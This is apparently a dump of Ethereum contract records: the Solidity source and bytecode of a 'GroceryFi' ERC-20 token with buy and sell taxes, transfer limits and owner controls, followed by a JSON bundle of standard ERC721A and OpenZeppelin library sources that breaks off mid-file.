20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612bf4604983611fc8565b9150612bff82612b74565b606082019050919050565b5f6020820190508181035f830152612c2181612be8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c5c601983611fc8565b9150612c6782612c28565b602082019050919050565b5f6020820190508181035f830152612c8981612c50565b9050919050565b5f612c9a826120c6565b9150612ca5836120c6565b9250828201905080821115612cbd57612cbc6122a7565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cf7601a83611fc8565b9150612d0282612cc3565b602082019050919050565b5f6020820190508181035f830152612d2481612ceb565b9050919050565b5f612d35826120c6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d6757612d666122a7565b5b600182019050919050565b5f612d7c826120c6565b9150612d87836120c6565b9250828203905081811115612d9f57612d9e6122a7565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ddc826120c6565b9150612de7836120c6565b925082612df757612df6612da5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e5c602183611fc8565b9150612e6782612e02565b604082019050919050565b5f6020820190508181035f830152612e8981612e50565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ec4601b83611fc8565b9150612ecf82612e90565b602082019050919050565b5f6020820190508181035f830152612ef181612eb8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d846b2e34d52af10ac9ff89e9e47a2f431cb2f463cdde0ae5a7c66344035815464736f6c63430008140033
|
// SPDX-License-Identifier: MIT
/**
Telegram: https://t.me/GroceryFi
Website: https://groceryfi.net/
Twitter: https://twitter.com/GroceryFi
**/
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GroceryFi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=30;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals;
string private constant _name = unicode"GroceryFi";
string private constant _symbol = unicode"Gfi";
uint256 public _maxTxAmount = 2000000 * 10**_decimals;
uint256 public _maxWalletSize = 2000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 500000 * 10**_decimals;
uint256 public _maxTaxSwap= 1500000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 50000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function NoMax() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function GrocerySwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
}
|
1 | 19,497,391 |
8cc0160293275594af69a4bbd820cb261ac8ff61778240d33143c9b8b8a2fb25
|
f16a83a6142eeda73187459ddba35ea007bad6138b701967fe09f0ff32822dbe
|
e28c761cb145833011ece2ca0020d9178090543d
|
000000008924d42d98026c656545c3c1fb3ad31c
|
eddcc2cb739fa86384dff957278dd53ff5f0759f
|
3d602d80600a3d3981f3363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73391a04311e0bfc913ef6fa784773307c826104f05af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n _nonReentrantBefore();\n _;\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n // On the first call to nonReentrant, _status will be _NOT_ENTERED\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Returns true if the reentrancy guard is currently set to \"entered\", which indicates there is a\n * `nonReentrant` function in the call stack.\n */\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes 